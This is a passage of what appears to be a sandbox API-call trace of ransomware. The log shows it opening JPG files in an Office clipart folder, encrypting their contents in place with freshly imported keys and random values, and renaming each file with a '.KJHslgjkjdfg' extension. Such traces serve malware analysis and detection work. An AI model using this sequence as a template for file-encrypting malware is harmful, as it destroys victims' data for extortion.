lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.399] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.399] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.399] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.399] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.399] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.399] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa91e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa91e, lpOverlapped=0x0) returned 1 [0202.401] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa920, dwBufLen=0xa920 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa920) returned 1 [0202.402] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.402] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa920, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa920, lpOverlapped=0x0) returned 1 [0202.402] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.402] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa9f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.402] SetEndOfFile (hFile=0x130) returned 1 [0202.405] GetProcessHeap () returned 0x990000 [0202.405] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.405] GetProcessHeap () returned 0x990000 [0202.406] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.406] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg.kjhslgjkjdfg")) returned 1 [0202.408] CloseHandle (hObject=0x130) returned 1 [0202.408] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b43, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0386270.JPG", cAlternateFileName="")) returned 1 [0202.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.410] GetProcessHeap () returned 0x990000 [0202.410] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.410] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.411] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.411] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xd, lpOverlapped=0x0) returned 1 [0202.413] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.413] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.413] GetProcessHeap () returned 0x990000 [0202.413] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.413] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.414] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.414] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.414] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.414] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.414] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.414] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.414] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.414] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.414] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.414] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.414] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3b43, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3b43, lpOverlapped=0x0) returned 1 [0202.415] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3b50, dwBufLen=0x3b50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3b50) returned 1 [0202.416] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.416] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3b50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3b50, lpOverlapped=0x0) returned 1 [0202.416] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.416] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.416] SetEndOfFile (hFile=0x130) returned 1 [0202.419] GetProcessHeap () returned 0x990000 [0202.419] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.419] GetProcessHeap () returned 0x990000 [0202.419] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.419] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg.kjhslgjkjdfg")) returned 1 [0202.421] CloseHandle (hObject=0x130) returned 1 [0202.421] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x396a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0386485.JPG", cAlternateFileName="")) returned 1 [0202.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.423] GetProcessHeap () returned 0x990000 [0202.423] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.423] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.423] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.423] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0202.425] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.425] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.425] GetProcessHeap () returned 0x990000 [0202.425] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.425] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.425] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.425] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.426] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.426] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.426] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.426] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.426] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.426] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.426] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.426] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.426] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x396a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x396a, lpOverlapped=0x0) returned 1 [0202.427] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3970, dwBufLen=0x3970 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3970) returned 1 [0202.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.428] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3970, lpOverlapped=0x0) returned 1 [0202.428] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3a44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.428] SetEndOfFile (hFile=0x130) returned 1 [0202.431] GetProcessHeap () returned 0x990000 [0202.431] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.432] GetProcessHeap () returned 0x990000 [0202.432] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.432] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg.kjhslgjkjdfg")) returned 1 [0202.433] CloseHandle (hObject=0x130) returned 1 [0202.433] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x693e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0386764.JPG", cAlternateFileName="")) returned 1 [0202.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.434] GetProcessHeap () returned 0x990000 [0202.434] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.434] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.435] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0202.437] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.437] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.437] GetProcessHeap () returned 0x990000 [0202.437] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.437] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.437] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.437] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.437] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.438] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.438] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.438] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.438] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.438] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.438] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.438] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.438] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x693e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x693e, lpOverlapped=0x0) returned 1 [0202.442] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6940, dwBufLen=0x6940 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6940) returned 1 [0202.442] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.442] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6940, lpOverlapped=0x0) returned 1 [0202.442] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.442] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6a14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.442] SetEndOfFile (hFile=0x130) returned 1 [0202.445] GetProcessHeap () returned 0x990000 [0202.445] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.446] GetProcessHeap () returned 0x990000 [0202.446] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.446] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg.kjhslgjkjdfg")) returned 1 [0202.447] CloseHandle (hObject=0x130) returned 1 [0202.447] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcb0a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0387337.JPG", cAlternateFileName="")) returned 1 [0202.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.448] GetProcessHeap () returned 0x990000 [0202.448] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.449] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.449] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.449] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0202.454] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.454] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.454] GetProcessHeap () returned 0x990000 [0202.454] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.454] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.454] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.454] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.454] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.455] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.455] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.455] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.455] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.455] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.455] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.455] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.455] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xcb0a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xcb0a, lpOverlapped=0x0) returned 1 [0202.469] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xcb10, dwBufLen=0xcb10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xcb10) returned 1 [0202.469] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.469] WriteFile (in: hFile=0x130, 